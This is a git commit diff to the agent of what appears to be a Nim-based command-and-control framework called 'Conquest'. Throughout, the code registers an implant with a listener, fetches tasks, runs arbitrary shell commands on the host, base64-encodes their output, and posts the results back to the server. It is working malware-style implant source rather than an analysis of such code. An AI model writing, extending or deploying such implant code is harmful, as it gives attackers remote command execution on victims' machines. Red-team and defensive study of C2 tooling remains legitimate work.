Fix formatting for multi-line command output and delete tasks after completion.
This commit is contained in:
@@ -45,7 +45,6 @@ proc main() =
|
||||
# Execute all retrieved tasks and return their output to the server
|
||||
for task in tasks:
|
||||
let result = task.handleTask()
|
||||
|
||||
discard postResults(listener, agent, result)
|
||||
|
||||
when isMainModule:
|
||||
|
||||
@@ -1,10 +1,14 @@
|
||||
import winim, osproc, strutils
|
||||
import winim, osproc, strutils, strformat
|
||||
|
||||
import ../types
|
||||
|
||||
proc taskShell*(command: seq[string]): TaskResult =
|
||||
proc taskShell*(command: seq[string]): tuple[output: TaskResult, status: TaskStatus] =
|
||||
|
||||
echo command.join(" ")
|
||||
let (output, status) = execCmdEx(command.join(" "))
|
||||
|
||||
return output
|
||||
echo "Executing command: ", command.join(" ")
|
||||
|
||||
try:
|
||||
let (output, status) = execCmdEx(command.join(" "))
|
||||
return (output, Completed)
|
||||
|
||||
except CatchableError as err:
|
||||
return (fmt"An error occured: {err.msg}" & "\n", Failed)
|
||||
@@ -26,7 +26,7 @@ proc register*(listener: string): string =
|
||||
# Register agent to the Conquest server
|
||||
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
|
||||
except CatchableError as err:
|
||||
echo "[-] [REGISTER FAILED]:", err.msg
|
||||
echo "[-] [register]:", err.msg
|
||||
quit(0)
|
||||
finally:
|
||||
client.close()
|
||||
@@ -42,7 +42,7 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [TASK-RETRIEVAL FAILED]:", err.msg
|
||||
echo "[-] [getTasks]:", err.msg
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
@@ -57,12 +57,14 @@ proc postResults*(listener, agent: string, task: Task): bool =
|
||||
|
||||
let taskJson = %task
|
||||
|
||||
echo $taskJson
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [RESULTS FAILED]:", err.msg
|
||||
echo "[-] [postResults]: ", err.msg
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import base64
|
||||
import ./types
|
||||
import ./commands/commands
|
||||
|
||||
@@ -7,16 +8,16 @@ proc handleTask*(task: Task): Task =
|
||||
case task.command:
|
||||
of ExecuteShell:
|
||||
|
||||
let cmdResult = taskShell(task.args)
|
||||
echo cmdResult
|
||||
let (output, status) = taskShell(task.args)
|
||||
echo output
|
||||
|
||||
return Task(
|
||||
id: task.id,
|
||||
agent: task.agent,
|
||||
command: task.command,
|
||||
args: task.args,
|
||||
result: cmdResult,
|
||||
status: Completed
|
||||
result: encode(output), # Base64 encode result
|
||||
status: status
|
||||
)
|
||||
|
||||
else:
|
||||
|
||||
Reference in New Issue
Block a user